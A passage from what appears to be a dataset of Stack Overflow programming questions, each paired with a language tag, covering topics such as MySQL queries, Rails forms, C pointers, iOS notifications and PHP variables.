architecture ios simulator):   <pre><code>&gt; +[testclass rect] is invoked &gt; retval: {{3  3}  {3  3}} &gt; +[testclass point] is invoked &gt; retpoint: {0  0}  // should be {10  10} which is returned from +[testclass point] </code></pre>   the output (under 32-bit architecture ios simulator):   <pre><code>`exc_bad_access (code=2  address=0xbfffca78)` </code></pre>,objective-c
mysql using like in query  i am trying to come up with a query that will generate results based on letter patterns of a string contained in the database.    basically this is what i am trying to do:   <pre><code>test 1:  t  =&gt; mysql returns: toys  tofu  telephones  turkeys  televisions  topaz test 2:  to  =&gt; mysql returns: toys  tofu  topaz test 3:  toy  =&gt; mysql returns: toys test 4:  toys  =&gt; mysql returns: toys </code></pre>   this is what i tried so far ($searchword corresponds to test case string):   <pre><code>$results = mysql_query( select * from products where prod_name like % .$searchword. % ); </code></pre>,mysql
"display rails id in new form text_field rails 4  i am trying to create a form in my <code>order</code> model. i ve been wondering. can i display a new <code>order_id</code> in my <code>order_number</code> text field when creating new order    i try     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;%= form_for(@order  html: {class:  form form-horizontal }) do |f| %&gt;
   &lt;% if @order.errors.any  %&gt;
     &lt;div id= error_explanation &gt;
       &lt;h2&gt;&lt;%= pluralize(@order.errors.count   error ) %&gt; prohibited this order from being saved:&lt;/h2&gt;
 
       &lt;ul&gt;
       &lt;% @order.errors.full_messages.each do |message| %&gt;
         &lt;li&gt;&lt;%= message %&gt;&lt;/li&gt;
       &lt;% end %&gt;
       &lt;/ul&gt;
     &lt;/div&gt;
   &lt;% end %&gt;
 &lt;table class= table table-hover &gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :staff_id %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.collection_select :staff_id  staff.all  :id  :staff_name  {:prompt =&gt; false}%&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :customer_id %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.collection_select :customer_id  customer.all  :id  :customer_name  {:prompt =&gt; false}%&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :service_id %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.collection_select :service_id  service.all  :id  :service_type  {:prompt =&gt; false}%&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_number %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.text_field :order_number   :value =&gt; @order.id %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_vehicle %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.text_field :order_vehicle %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_plate %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.text_field :order_plate %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_description %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.text_field :order_description %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_damage %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.text_field :order_damage %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_deposit %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.number_field :order_deposit %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_price %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.number_field :order_price %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label :order_date %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.date_select :order_date %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;&lt;%= f.label  list of task  %&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.collection_check_boxes :task_ids  task.all  :id  :task_name do |b| %&gt;
     &lt;div class= collection-check-box &gt;
       &lt;%= b.check_box %&gt;
       &lt;%= b.label %&gt;
     &lt;/div&gt;
   &lt;% end %&gt;
         &lt;/td&gt;
         
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt;
         &lt;/td&gt;
         &lt;td&gt;&lt;%= f.submit %&gt;
         &lt;/td&gt;
     &lt;/tr&gt;
 &lt;/table&gt;
 
 
 &lt;% end %&gt;</code></pre>
 </div>
 </div>
     in the form when creating new order it show nothing.    the <code>id</code> only appear when im editing the <code>order</code>.",ruby-on-rails
how to cast a generic parameter   here s what i am trying to write:   <pre><code>public void foo&lt;t&gt;(t parameter) {   otherobject.bar&lt;t&gt;(parameter); } </code></pre>   the signature of the bar() method is:   <pre><code>public void bar&lt;t&gt;(t parameter) where t: class  </code></pre>   so i get a compile error because the t in foo s signature doesn t have the same constraint. unfortunately i can t write:   <pre><code>public void foo&lt;t&gt;(t parameter) where t: class {   otherobject.bar&lt;t&gt;(parameter); } </code></pre>   because foo is implementing a method defined in an external interface.  question is:    can i somehow transpose the t within the method foo before calling bar.  (note  i can be sure that t always will be a class  -  i just need to get past the compiler).    the only way i have found is using reflection but i wonder if there is a simpler trick i m missing.,c#
*this and const member functions  is it possible to use the this pointer to assign the data from a calling object to one declared in a const member function   something like:    (assuming i ve already built someclass)   <pre><code>void func() const {     someclass object1;      object1 = *this; }  int main() {     someclass object2;      object2.func();      return 0; } </code></pre>   i know the above function is pointless.  i m just wondering if it s a legal assignment using *this.,c++
sql wringing a join  so i have 2 tables    table 1: languages   <pre><code>| language_id | language | ------------------------- |     1      |    java  | |     2      |      c   | </code></pre>   table 2: people   <pre><code>| person_id  | person_name | expert_lang | years_experience | ------------------------------------------------------------- |     1      | neil        |       1     |        15        | |     2      | john        |       1     |        10        | |     3      | lucy        |       2     |        12        | </code></pre>   now what i m trying to do is find the total years of experience for each language so it would produce a table like follows:   <pre><code>| language | total_years_experience | ------------------------------------- | java     |          25            | | c        |          12            | </code></pre>   i cant seem to get anything to work  could anyone help  would be much appreciated!,sql
navigation bar style on modal view  when i create a modal view with a navigation controller i m unable to set the navigation bar style to be opaque. i must mention that i m presenting the modal view from another navigation controller. here s the code i m talking about:   <pre><code>uinavigationcontroller *navcontroller = [[uinavigationcontroller alloc]                                        initwithrootviewcontroller:detailedviewcontroller]; [navcontroller setmodalpresentationstyle: uimodalpresentationfullscreen]; [navcontroller setmodaltransitionstyle:uimodaltransitionstylefliphorizontal];  //also tried [navcontroller navigationbar] setopaque:yes]; with no luck   navcontroller.navigationbar.barstyle = uibarstyleblackopaque;  [self presentviewcontroller:navcontroller animated:yes completion:nil]; </code></pre>   there should be something i m missing and i m unable to see  so any help will be great!!    thanks in advance :),ios
how do different applications running in the same process share user id and app certificate  it is about different applications running in the same process.  i have read that they share a user id and are signed with the same certificate.     my questions are:   <ol> <li> user id is defined <a href= http://www.linfo.org/uid.html  rel= nofollow >here</a> as :    <blockquote>    a user id (uid) is a unique positive       integer assigned by a unix-like operating system to each user. each       user is identified to the system by its uid  and user names are       generally used only as an interface for humans.  </blockquote></li> </ol>   now since users are applications installed on the linux system  user         id is the unique identifier of the application in the linux system.    <strong>so how can two applications share the same user id. moreover  what if two applications developed by different developers ever ever         share the same user id </strong>    <ol> <li>i have read <a href= http://developer.android.com/tools/publishing/app-signing.html  rel= nofollow >here</a> that:    <blockquote>    the android system requires that all installed applications be   digitally signed with a certificate whose private key is held by the   application s developer. the android system uses the certificate as a   means of identifying the author of an application and establishing   trust relationships between applications.</li>   </ol>   <strong>so how can different applications  say developed by different developers  be signed with the same certificate </strong>  </blockquote>   <strong>3. can somebody give me an example in which components of different         applications are running in the same process </strong>    thank you in advance.,android
formatting nsdate received from php  received date from server  2017-10-27t17:40:56.0000000    i want to convert into this formate  2017-10-27 17:40:00 +0000    i m using this code but out is    <pre><code>nsstring *str = [date stringbyreplacingoccurrencesofstring:@ .0000000  withstring:@  ]; // convert to date nsdateformatter *dateformat = [[nsdateformatter alloc] init]; [dateformat setdateformat:@ yyyy-mm-dd t hh:mm:ss ]; nsdate *dte = [dateformat datefromstring:str]; </code></pre>   2017-10-27 12:40:56 +0000    it s wrong please help me,objective-c
questions about pointers and arrays  <strong>sanity-check questions:</strong>    i did a bit of googling and discovered the correct way to return a one-dimensional integer array in c is   <pre><code>int * function(args); </code></pre>  <ol> <li> if i did this  the function would return a pointer  right   and if the return value is r  i could find the nth element of the array by typing r[n]  </li> <li> if i had the function return the number  3   would that be interpreted as a pointer to the address  3   </li> <li> say my function was something like   <pre><code>int * function(int * a); </code></pre>   would this be a legal function body    <pre><code>int * b; b = a; return b; </code></pre>   are we allowed to just assign arrays to other arrays like that  </li> <li> if pointers and arrays are actually the same thing  can i just declare a pointer without specifying the size of the array   i feel like   <pre><code>int a[10]; </code></pre>   conveys more information than   <pre><code>int * a; </code></pre>   but aren t they both ways of declaring an array   if i use the latter declaration  can i assign values to a[10000000]  </li> </ol>   <strong>main question:</strong>   <ol> <li>how can i return a two-dimensional array in c   i don t think i could just return a pointer to the start of the array  because i don t know what dimensions the array has.</li> </ol>   thanks for all your help!,c
php  if     or  variable equals to  looking for a bit of php help here please..    i am looking to check to see if the contents of a few variables match defined criteria  and if so  to set the value of an additional variable accordingly.    so  i was thinking the below should work... but it has syntax errors which confuse me!   <pre><code>if ($var1 ==  chicken  || $var ==  banana ) { $outputvar =  fail  } else { $outputvar =  success  } </code></pre>   what is wrong with the above     thanks,php
why does my image have a black square around it but just with ie :-(  i have the following code block:   <pre><code>&lt;li&gt;&lt;a &gt;&lt;img class= ico  src= ../../content/icons/home.png  /&gt;home&lt;/a&gt;&lt;img class= sep  src= ../../content/images/sep1.png  /&gt;&lt;/li&gt; </code></pre>   it works as expected but around the 16x16 ico image there is a black border. i already have the css as follows:   <pre><code>li a {padding: 0px 5px 5px 5px; height: 18px;        display: inline-block;       text-decoration: none; position: relative;bottom: 7px; }  </code></pre>   i have no problem with firefox and chrome but just with ie.     does anyone know how i can fix this. i would have thought it would have obeyed the text-decoration: none for the image.,css
group by removes rows with same values  for some reason (and i think i know why)  when more than one row of <em>$activityday</em> have the same value  the other rows are no longer displayed. i think that it s because of the <strong>group by</strong>  but i can t be sure.    the <em>$activityday</em> is a number from 1 to 9 that represents an activity on that day. table <strong>venues_activity</strong> takes that number and writes the name of the activity  while <strong>group by</strong> orders the activities in terms of importance.    is there an alternative to get all of my rows shown  thank you! :)    <pre><code>select venues.*  venues_activity.activity_en from venues inner join venues_activity on $activityday = venues_activity.id left join events  on events.venue_location = venues.id   and start_datetime &gt;=  $date_start_selected   and end_datetime &lt;  $date_end_selected  where events.venue_location is null and venue_type= 1  and $closeday!= closed  and $activityday!= 9  group by $activityday </code></pre>,mysql
sql: help doing two counts in one query  i have a table that looks like so:   <pre><code>| user_id | client_application_id | invalidated_at |       1 | 55555 | | |       1 | 123   | | </code></pre>   i want to be able to do one thing:   <ol> <li>be able to count how many user_id s have more than 250 client_application_id s on their account and order it so that it starts at 250 and goes up. </li> </ol>   my current (incorrect)query looks like so:    <pre><code>select  user_id  count(user_id) as cnt from tokens where invalidated_at is null group by user_id having count(user_id) &gt; 250 order by cnt ; </code></pre>   the output looks like so:   <pre><code>  user_id   | cnt  ------------+-----     1 | 251     5 | 251 </code></pre>   using this example  i would like the query to count the two users that have 251  so it would look like so:   <pre><code>count_of_users  | application_count 2 | 251 </code></pre>,sql
difference between background view and content view in uitableviewcell  hi what is the difference between content view and background view in a uitableviewcell     as i have read in the apple docs i understand that the content view property is the superview for the content but what is the background view for     thanks.,iphone
ios save secidentityref in keychain so it can be queried uniquely  i am trying to save a secidentityref in the keychain  so that it can be queried uniquely. my code looks like this    <pre><code>       nsmutabledictionary *keyattr = [nsmutabledictionary dictionary];        [keyattr setobject:label forkey:(__bridge nsstring*)(ksecattrlabel)];       [keyattr setobject:(id)self.identityref forkey:(__bridge    nsstring*)ksecvalueref];         [keyattr setobject:identitytag forkey:(__bridge nsstring*)(ksecattrapplicationtag)];        [keyattr setobject:(__bridge  nsstring*)ksecattraccessibleafterfirstunlockthisdeviceonly forkey:(__bridge nsstring*)ksecattraccessible];         osstatus secstatus = secitemadd((__bridge cfdictionaryref) dict  nil); </code></pre>   i am setting the ksecattrapplication tag   so that when i query using secitemcopymatching   i get only a single match. however   when i try this code  the secstatus code is -25303 (invalid argument)  which is due to ksecattrapplicationtag.  can i use ksecattrapplicationtag to uniquely identify items  what is the best way to store identity with a unique search attribute,ios
wanting images to sit next to each other  not below  i m trying to make the images on my tumblr site sit next to each other  instead of above each other. i ve made various attempts at following suggestions i ve found on forums  but can t get it to work  so asking my first forum question.    this is the page i m working on: <a href= http://dieinsel.tumblr.com/stories  rel= nofollow >http://dieinsel.tumblr.com/stories</a>    i have more images to add (and each image is a link). i d like the images to tile next to each other (with some space in between).     i ve deleted all my attempts at changing the html  so it s back to the original:    <pre><code>&lt;p&gt;&lt;a href= http:blah &gt;&lt;img src= https:blah.jpg  /&gt;&lt;/a&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href= http:blah2 &gt;&lt;img src= https:blah2.jpg  /&gt;&lt;/a&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href= http:blah3  style= line-height: 1.4; &gt;&lt;img src= https:blah3.jpg  /&gt;&lt;/a&gt;&lt;/p&gt; </code></pre>,html
$location.path() doesn t work despite setting $apply() or $timeout  i m putting together my own auth service in an angularjs application i am building and in my controller i have the following code that calls a serive. the service deals with a log in  if there is a match i want to redirect to my home/main page... this is my controller code   <pre><code>$scope.login = function (user) {       // we have the user name and password let s see if account exists...       authservice.login(user).success(function (response) {          // what have we received  if the length &gt; 0 we have a match         if (response.length !== 0) {           storageservice.makelocalkey( uuid   response[0].uuid); // this works!           $location.path( / ); // the current path is /login  nothing happens  the browser path/ window doesn t change             console.log($location.path()); // this gives  /  but i am not taken to main route and the url isn t changed in the browser  it s still /login         } else {           $scope.errornotfound = true;         }  } </code></pre>   now when i replace the <code>$location.path( / );</code> with   <pre><code>$scope.$apply(function () {   $location.path( / ); }); </code></pre>   i get the following error in the console: <code>error: [$rootscope:inprog] $digest already in progress</code>    so i tried the following...   <pre><code>$timeout(function () {   $location.path( / ); }); </code></pre>   but nothing happens! what am i doing wrong,angularjs
a multitude of the same id in an where id in () statement  i have a simple query that increases the value of a field by 1.  now i used to loop over all id s and fire a query for each of them  but now that things are getting a bit resource heavy i wanted to optimize this. normally i would just do    <pre><code>update table set field = field + 1 where id in (all the ids here) </code></pre>   but now i have the problem that there are id s that occur twice (or more  i can t know that on forehand). is there a way to have the query run twice for id 4 if the query looks like this:   <pre><code>update table set field = field + 1 where id in (1  2  3  4  4  5) </code></pre>   thanks     lordstyx    edit: sorry for not being clear enough. the id here is an auto inc field  so it are all unique id s. the id s that have to be updated are indirectly comming from users  so i can t predict which id is going to occur how often. if there are the id s (1  2  3  4  4  5) i need the field of row with id 4 to be incremented with 2  and all the rest with 1.,mysql
how to store multiple instance of a class object in a list in python  <ol> <li> how do i store multiple instances of a class objects in a list  </li> <li> how do i bind a name to a type in python  in java  i would do something like this:   <pre><code>slicefield[] schemaelements = {     new slicefield( cust   slicedb.int)      new slicefield( name   slicedb.string)      new slicefield( age   slicedb.int)      new slicefield( phone   slicedb.string)      new slicefield( address   slicedb.string) } </code></pre></li> </ol>   how would i do that in python,python
how to add footer for active admin which should contain text and image within div  <pre><code>module activeadmin   module views     class footer &lt; component        def build         super :id =&gt;  footer                                                              super :style =&gt;  text-align: left;                  div do           h5  powered by           image_tag ( /images/myridz_logo.png )        end      end    end  end end </code></pre>,ruby-on-rails
can anybody help me with operator = with vector and class   i can t seem to figure out how to make the operator = with this vector or node and pcb. i know it an overload problem but everytime i make a different type of = it giving me some crazy error with vector and pcb and other stuff and its driving me crazy  so anyone got a hint on how i can create this so it won t crash or give me an error,c++
create link in php with get parameters  i m really new to php  but i m working on a simple web page.    this page is quite configurable with different parameters. so  it may be called like:    www.example.com/index.php test=1&amp;foo=3&amp;bar=4    now my question is  what is the idiom for generating a link to the current page but with one parameter changed     for example  i d like to change foo to 5  what s the easiest way to generate a link like:    www.example.com/index.php test=1&amp;foo=5&amp;bar=4    i can loop through and do it manually  but i figured there would be some common idiom for this.    thanks a ton!,php
formsauthentication rememberme  i am using forms authentication and the i wanted the remember me functionality. how can i just retain the username alone.    i wanted the username to be stored on cookies and when the user is logged out. i want to user name to be displayed on the username text box.    is there an example that can be provided,asp.net
asp.net vb loginstatus in master page results in two forms with runat=server  i am using asp.net vb and built a simple login/register app. i was trying to add a loginstatus control to the master page but this results in error    <pre><code>a page can have only one server-side form tag. </code></pre>   are there any workarounds for that  and actually  why does loginstatus control requires to be in form anyway     thanks,asp.net
why hide exceptions on the web   is there a real reason to hide exceptions on a webpage  i can understand hiding to not scare users but on the site i am developing theres no concern for scaring users. i imagine if you have sql injection holes hiding the exception wont actually matter.    so what reasons might one have to hide exceptions on a webpage from users,.net
open url without using browser in android  i want to create android application which will open url in same application as like facebook application without any browser. i tried using webview but it opens the url in browser.,android
how can i use a base href for external links and also keep internal links   i have an html file with a letter index containing  internal  (relative) links  referring to the document itself. now each letter contains links to external (absolute) links. there are about 5 500 such links in total and adding the same base href to each of them is quite stupid. it s a classic case where one would use a base href. using a base href however  cancels out the interal refs.    is it possible to keep the internal links and also use a  base href  for the external ones  since they all belong to the same base address      example:   <pre><code>&lt;a href= #a &gt;a&lt;/a&gt; | &lt;a href= #b &gt;b&lt;/a&gt; | ...  &lt;a name= a &gt;&lt;/a&gt; &lt;li&gt;&lt;a href= https://stackoverflow.com/questions/37158674 &gt;37158674&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= https://stackoverflow.com/questions/37158675 &gt;37158675&lt;/a&gt;&lt;/li&gt; ... </code></pre>   the base href here is of course  <a href= https://stackoverflow.com/questions/ >https://stackoverflow.com/questions/</a>,html
string manipulations  i have string variable declared globally.i have to append a substring to this string dynamically based on the user input.to do this i use str=str+substring;    in this case the string in str doesn t have meaningful sentence finally ie. there is no spaces between the words.to make it sense i used the following statement instead     str=str+   +substring; or str=str+substring+   ;    here everytime i have to append extra space to the substring before appending this to the main string were additional string processing is required.    can anybody help on this were i can do this effectively,c#
c++ getting error for object creation expected ;  in the following program i am getting error like this addtime.cpp: in function ‘int main()’: addtime.cpp:41:6: error: expected ‘;’ before ‘time1’ i checked thoroughly the program  not able to find the error. please help me.    <pre><code>#include &lt;iostream&gt; #include&lt;string&gt; using namespace std;  class time {     public:         int hours;         int minutes;         int seconds;      void showtime()     {        cout&lt;&lt; time is  &lt;&lt;hours &lt;&lt; hours: &lt;&lt;minutes&lt;&lt; minutes: &lt;&lt;seconds&lt;&lt; seconds \n ;     }      time(int temph int tempm int temps)     {         hours=temph;         minutes=tempm;         seconds=temps;     }     time operator +(time t2)     {         int temph;          int tempm;          int temps;          temph = hours + t2.hours;         tempm = minutes + t2.seconds;         temps = seconds + t2.minutes;          tempm = (tempm + temps)/60;         temps = temps % 60;         temph = (temph + tempm)/60;          tempm = tempm % 60;          return time(temph tempm temps);     } };  int main() {     time time1 (12 15 15);     cout&lt;&lt; the first value is ;     time1.showtime();     time time2(10 30 30);     cout&lt;&lt; the second value is ;     time2.showtime();      time time3;     time3 = time1 + time2;     cout&lt;&lt; the result is ;     time3.showtime();      time time4;     time4 = time1 + time2 + time3;     time4.showtime();      return 0; } </code></pre>,c++
iphone: issue with uilocalnotification flow  my requirement is  my app to get notified for every 10 mins and do some process under the notification receive event even after i close my application  so as i created uilocalnotification code as below  just for testing purpose i set a notification sound there. after i close my application and come to device home screen  i get notification sound only once and doesn t come to  didreceivelocalnotification  event in my program. in general  notification shows as notify alert with some body and click on  view  button there  takes to our application  didreceivelocalnotification  event method. but i don t want to show any notify alert  and my app should get called with  didreceivelocalnotification  event method kind of as the background process. please advise me how can i resolve my issue with uilocalnotification api  if my app should get notified every 10 mins in the background is not possible using uilocalnotification  then what else method can i try to resolve it     <pre><code>- (bool)application:(uiapplication *)application   didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {      [self initlocalnotification : 600];      self.window.rootviewcontroller = self.viewcontroller;     [self.window makekeyandvisible];      return yes; }  -(void) initlocalnotification :(int) seconds {      // notity after 10 * 60 seconds     nsdate *notificationdate = [nsdate datewithtimeintervalsincenow:seconds];      if ( notify )         notify = null;      notify = [ [uilocalnotification alloc] init ];     notify.firedate = notificationdate;     //notify.applicationiconbadgenumber = 1;     notify.soundname = uilocalnotificationdefaultsoundname;     notify.timezone = [nstimezone defaulttimezone];     //notify.alertbody = @ local notification test ;     notify.repeatinterval = kcfcalendarunitday;      nsdictionary *infodict = [nsdictionary dictionarywithobject:@ notifivalue  forkey:@ notifikey ];     notify.userinfo = infodict;      nslog(@ initiate notification in %d seconds   seconds);      // schedule the notification     [[uiapplication sharedapplication] schedulelocalnotification:notify];     [notify release];  }  - (void)application:(uiapplication *)application didreceivelocalnotification:(uilocalnotification *)notification {      nslog(@ notification triggerred.. ); [[uiapplication sharedapplication] cancelalllocalnotifications];     [ self initlocalnotification : 600 ]; } </code></pre>   thank you!,iphone
given a string  find the count of possible codes that string can generate using python  if a=1  b=2  c=3 ....z=26. i want to find the count of possible codes that string can generate using python    for example:   <pre><code>get_combination( 12 ) output: 2 // the possible decodings are  ab    l   get_combination( 121 ) output: 3 // the possible decodings are  aba    au    la   get_combination( 1234 ) output: 3 // the possible decodings are  abcd    lcd    awd  </code></pre>   here is the code for that. but the time complexity is more. can someone have simpler solution than this   <pre><code>def get_combination(string):     def get_branchs(string):         if not string or len(string) == 1:             return 0         if string[0:2] &lt;=  26 :             if  0  not in string[1:3]:                 return 1 + get_branchs(string[1:]) + get_branchs(string[2:])             else:                 return get_branchs(string[2:])         else:             return get_branchs(string[1:])     return 1 + get_branchs(string) </code></pre>,python
jquery - how i can save list in the cookie  <strong>i followed this tutorial</strong>    <a href= http://fricardo.com/manipulando-cookies-com-jquery/  rel= nofollow >http://fricardo.com/manipulando-cookies-com-jquery/</a>    <strong>and i saving my list in the cookie:</strong>   <pre><code>jquery.cookie( matriztela   vlist  {expires: 7}); </code></pre>   <strong>but  if i show in my console.log my cookie:</strong>   <pre><code>console.log(jquery.cookie( matriztela )); </code></pre>   <strong>my return is:</strong>   <pre><code> [object object]  </code></pre>   why my return having the     and dont print my object list      <strong>ps:</strong> my vlist is a matrix of the dom object    <strong>what i need </strong>    i want to save an matrix(a list of dom object within the vlist) and then retrieve the vlist through this cookie and manipulate the data again.    <strong>my problem </strong>    having one comma in my return.,jquery
how to force correct overload  i have two methods  one takes object parameter the other takes a parameter of type <code>system.web.ui.page</code>. i m sending a class that descends from <code>system.web.ui.page</code>  but the method that gets called is the one that takes the <code>object</code> parameter.   <pre><code>class primitive public object resolve(object fromobject  sources source  string expression) { }  public object resolve(system.web.ui.page fromobject  sources source  string expression) { } } </code></pre>   i call it with web page i m on  whose base class of its base class is <code>system.web.ui.page</code>.    but i call it from here:   <pre><code>public data.compounddata&lt;compound&lt;p&gt;  p  object&gt; resolve(object source) {     data.compounddata&lt;compound&lt;p&gt;  p  object&gt; functionreturnvalue = default(data.compounddata&lt;compound&lt;p&gt;  p  object&gt;);     functionreturnvalue = new data.compounddata&lt;compound&lt;p&gt;  p  object&gt;(this);     foreach (primitive primitive in this) {         functionreturnvalue.add(primitive.resolve(source  primitive.source  primitive.sourceexpression));     }     return functionreturnvalue; } </code></pre>   the fact that the variable used is of type <code>object</code> makes a difference. i don t want to have to over load this calling function also. what must i do to make this calling function call the correct overload     note: if i take away the overload that has the <code>object</code> signature  it works (as in the case of page). but i need the <code>object</code> overload  which is a  catch all  overload for all other object types.    thanks.,.net
update ngfor on angular app  i m  trying build a component on my angular app and get some problems. let me explain...    i m have this ngfor:   <pre><code> &lt;tr *ngfor= let processo of processos; let i = index; trackby: trackbyid; &gt; </code></pre>   on my component.ts i have this:   <pre><code> processos: array&lt;any&gt;  </code></pre>   when i try add a new process  i receive a new doc  and storage then on my localstorage:   <pre><code>            this.advogadoservice.addprocess(data)                 .subscribe(                     process =&gt; {                         this.updateservice.update(process   processos );                         this.processos = json.parse(localstorage.getitem( processos ));                         this.update(process._id);                         resolve(process);                     }                      err =&gt; reject(err.json().message)                 ) </code></pre>   so far  all works fine. i received the data  and update my view. now  my problems began...    i have this code:   <pre><code>    let updatedata = observable.interval(30000)         .take(60)         .flatmap(() =&gt; {             return this.advogadoservice.getone(id)         })      this.search = updatedata.subscribe(         doc =&gt; {             if(doc.processtype) {                 this.updateservice.update(doc   processos );                 this.processos = json.parse(localstorage.getitem( processos ));                 this.stopnow();                  izitoast.success({                     title:  processo atualizado                       message: `o processo ${doc.processnumber}  foi atualizado com sucesso!`                      icon:  fa fa-bell-o                       layout: 2                      balloon: true                      timeout: 10000                  })             }         }     )  }  stopnow() {     this.search.unsubscribe()  } </code></pre>   this code try 60 times  in intervals of 30 seconds get updated data was send before. when i receive the new data  put him on localstore  and update my view with this command:   <pre><code>this.processos = json.parse(localstorage.getitem( processos )); </code></pre>   but my view not refresh with the new data  until i m click in some object on the on my view  like on button for exemple.    i need update my view every time when i receive a new data.    what the best way i m can do this      thanks,angularjs
how to insert data(to a database) from a text document using asp.net  in my application i want to check a condition whether the  enter  key is pressed or not.i want to read data from a text file and insert this data to my database.i have written my code in a button-click event.in the text file  every field is separated by a comma so that each field can be identified.after one record  enter  key is pressed and next record is written in next line.so i want to insert each row in the database until the next line.i suppose i can check this with the ascii code of  enter   key.,asp.net
css  disabled css files  how disables css file     i use cms and in header load style.css file. o don t have permission change index.php file  so i must change only in my file.    thanks,css
html and register mark in outlook 2010/2007  has anyone found the magic coding snippet to get a good register mark across the board in email readers  not browser-based email like google  hotmail as they use the browser engine to render but actual email programs: entourage/outlook/.    we use old-school html and only css for styling fonts not structure of course. and we don t send big images so we re doing it right for across the board but the only stickler now is getting the register character superscripted and legible.    this is close but not legible outlook:   <pre><code>&lt;sup style= font-size: 0.6em; line-height: 0;  *vertical-align: baseline; *position: relative; *bottom: 4px; &gt;&amp;reg;&lt;/sup&gt; </code></pre>,html
how to stream a pdf file as binary to the browser using .net 2.0  i m looking for a way to stream a pdf file from my server to the browser using .net 2.0 (in binary).    i m trying to grab an existing pdf file from a server path and push that up as binary to the browser.,.net
mysql best practice naming conventions  consider these simple tables:   <pre><code>id primary-key  auto-increment name varchar(256) +---------+ - tasks   - +-------------------------------------------+ - id      |  name                           - +-------------------------------------------+ - 1       |  go to supermarket              - - 2       |  buy cheese                     - - 3       |  buy ps4 and not xbone          - +-------------------------------------------+  id primary-key  auto-increment username unique varchar(128) +---------+ - users   - +-------------------------------------------+ - id      |  username                       - +-------------------------------------------+ - 1       |  dalejr                         - - 2       |  firstnamelastname              - +-------------------------------------------+  user_id fk  index task_id fk  index +---------------+ - users_tasks   - +-------------------------------------------+ - user_id      |  task_id                   - +-------------------------------------------+ - 1       |  1                              - - 1       |  2                              - - 2       |  3                              - +-------------------------------------------+ </code></pre>  <ul> <li>i always lowercase my table names and column names</li> <li>i always use  id  instead of  task_id  unless it is a foreign key. i think <code>tablename.tablename_id</code> is stupid.</li> <li>i always index foreign keys like the users_tasks table</li> </ul>   <strong>how does this practice differ from established mysql convention / best-practice </strong>    and more importantly  <strong>... is it bad </strong>,mysql
running out of memory  but allowed is so much higher  getting the following error  which i understand and have seen before. but one thing seems weird  it is trying to allocate an amount which is lower the the allowed memory size. doesn t this seem weird     <pre><code>fatal error: allowed memory size of 33554432 bytes exhausted (tried to allocate 7680 bytes) in xxx on line 93 </code></pre>   could this be some kind of misconfiguration with memory management  i am using a cloud server.,php
how do i set a variable to $_get  i don t have a lot of experience with this... help is greatly appreciated.    $id = $_get[ categoryid ]; isn t setting the variable.    $_get[ categoryid ] is returning the value  but the variable isn t being set.     i can set the variable by using $id=3; however $id = $_get[ categoryid ]; doesn t work.   <pre><code>&lt; php  if (@$_request[ ajax ]) {         $link = $nm3;     if ($link == false)         trigger_error( connect failed -   . mysql_error()  e_user_error);     $connected = mysql_select_db( dgp   $link);      if ($connected) {           $id = $_get[ categoryid ];           $results = mysql_query( select * from selectmenu where categoryid= \   . $id .  \  and category=   . strtolower(mysql_real_escape_string(strip_tags($_request[ category ]))) .    );          $json = array();         while (is_resource($results) &amp;&amp; $row = mysql_fetch_object($results)) {             //$json[] =  { id  :    . $row-&gt;id .      label  :    . $row-&gt;label .   } ;             $json[] =     . $row-&gt;label .    ;         }         echo  [  . implode(     $json) .  ] ;         die(); // filthy exit  but does fine for our example.     } else {         user_error( failed to select the database );     } }  &gt; </code></pre>  <hr>   ok  so i stripped everything down as far as i know how. it appears the problem may be related to the ajax request.    here is the stripped down code using $_get.... $id=$_get[ categoryid ]. it prints the $_get[ categoryid ] result and the $id.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;test $_get&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt; php          if(isset($_server[ http_x_requested_with 